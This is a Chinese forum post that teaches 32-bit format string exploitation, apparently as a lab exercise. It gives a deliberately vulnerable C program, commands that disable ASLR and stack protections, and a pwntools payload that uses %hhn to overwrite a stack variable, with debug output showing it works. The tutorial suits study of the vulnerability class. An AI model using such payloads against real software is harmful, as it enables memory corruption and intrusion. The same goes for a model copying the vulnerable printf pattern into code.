首页
社区
课程
招聘
[原创]32位格式化字符串漏洞实现任意地址内存覆盖
2021-8-10 20:13 8161

[原创]32位格式化字符串漏洞实现任意地址内存覆盖

2021-8-10 20:13
8161

32位格式化字符串漏洞实现任意地址内存覆盖

原理

1
2
int i;
printf("AAAA%n",&i)

此时i=4

漏洞利用例子

比如想将2写入0xffffcd28。则构造payload"AA%15$nA"+p32(0xffffcd28),开头AA即可将地址0xffffcd28内容赋值为2,%15$n5个字节,为了实现4地址对齐,后面还要添加一个A。

 

如想将0x12345678写入到地址0xffffcd28。0x12345678转换为10进制会很大,采用上面的方法会覆盖掉重要的地址而出错。可以拆分成单字节覆盖。比如将0xffffcd28覆盖成0x12,将0xffffcd29覆盖成0x34,0xffffcd30覆盖成0x56,0xffffcd31覆盖成0x78.
具体步骤如下:
步骤一:使用“AAAABBBBCCCCDDDD”作为程序输入,使用gdb查看
printf的栈,AAAA,BBBB,CCCC,DDDD存储的地址和相对于格式化字符串地址的偏移。

1
x/20wx $esp

步骤二:构造payload,先写AAAA,BBBB,CCCC,DDDD的地址,占16字节,然后使用4个“%要填入的值-前面已出现的字符数c%要填入地址相对于格式化字符串地址的偏移$hhn"覆盖地址。其中hhn表示写入单字节。

实验目标:将arg4修改为BBCD。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//fmtdemo.c
#include<stdio.h>
void main()
{
    char format[128];
    int arg1 =1,arg2=0x88888882,arg3=-1;
    char arg4[10]="ABCD";
 
    scanf("%s",format);
    printf(format,arg1,arg2,arg3,arg4);
    printf("arg4的地址:%p\n",&arg4);
    printf("arg4:%s\n",arg4);
    printf("\n");
 
}

做实验首先要注意
1.关闭ASLR,linux下ASLR是自动开启的,不关闭的话栈地址每次都是随机的(可能要管理员权限)

1
echo 0 > /proc/sys/kernel/randomize_va_space

2.编译时关闭CANARY,PIE。

1
gcc -m32 -fno-stack-protector -no-pie fmtdemo.c -o fmt32

执行fmt32获取arg4的地址和格式化字符串的偏移。输入:AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

1
2
3
4
bigeast@ubuntu:~/Desktop/attach$ ./fmt32
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0x1.0x88888882.0xffffffff.0xffffd1aa.0xffffd1b4.0xc2.0x1fff.0xf7fdf449.0xf63d4e2e.0x4241daf8.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025arg4的地址:0xffffd1aa
arg4:ABCD

获取到偏移为13,地址为xffffd1aa。

 

制作payload:B的ASCII码十进制为66,为了4字节对齐,前面多了个A,
4字节为一个参数,原本的偏移是13,多了12个字节,所以偏移变成了16.

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level = 'debug'
file = ELF("./fmt32")
 
io = process("./fmt32")
payload = "A%65c%16$hhn"+p32(0xffffd1aa)
print(payload)
io.sendline(payload)
 
io.interactive()

执行pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
bigeast@ubuntu:~/Desktop/attach$ python fmt32.py
[*] '/home/bigeast/Desktop/attach/fmt32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process './fmt32' argv=['./fmt32'] : pid 3308
A%65c%16$hhn\xaa��\xff
[DEBUG] Sent 0x11 bytes:
    00000000  41 25 36 35  63 25 31 36  24 68 68 6e  aa d1 ff ff  │A%65│c%16│$hhn│····│
    00000010  0a                                                  │·│
    00000011
[*] Switching to interactive mode
[*] Process './fmt32' stopped with exit code 10 (pid 3308)
[DEBUG] Received 0x6c bytes:
    00000000  41 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │A   │    │    │    │
    00000010  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000040  20 01 aa d1  ff ff 61 72  67 34 e7 9a  84 e5 9c b0  │ ···│··ar│g4··│····│
    00000050  e5 9d 80 ef  bc 9a 30 78  66 66 66 66  64 31 61 61  │····│··0x│ffff│d1aa│
    00000060  0a 61 72 67  34 3a 42 42  43 44 0a 0a               │·arg│4:BB│CD··│
    0000006c
A                                                                \xaa��\xffarg4的地址:0xffffd1aa
arg4:BBCD
 
[*] G

成功修改

 

若想写入0x123456789,则要按文章一开始的办法,若按以下payloadpayload = "%305419896c%17$n"+p32(0xffffd1aa),会输出305419896个字符,输不完,程序会卡住。

 

剩下的疑问:如果是64位的程序想写入0x123456789要如何做呢?


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回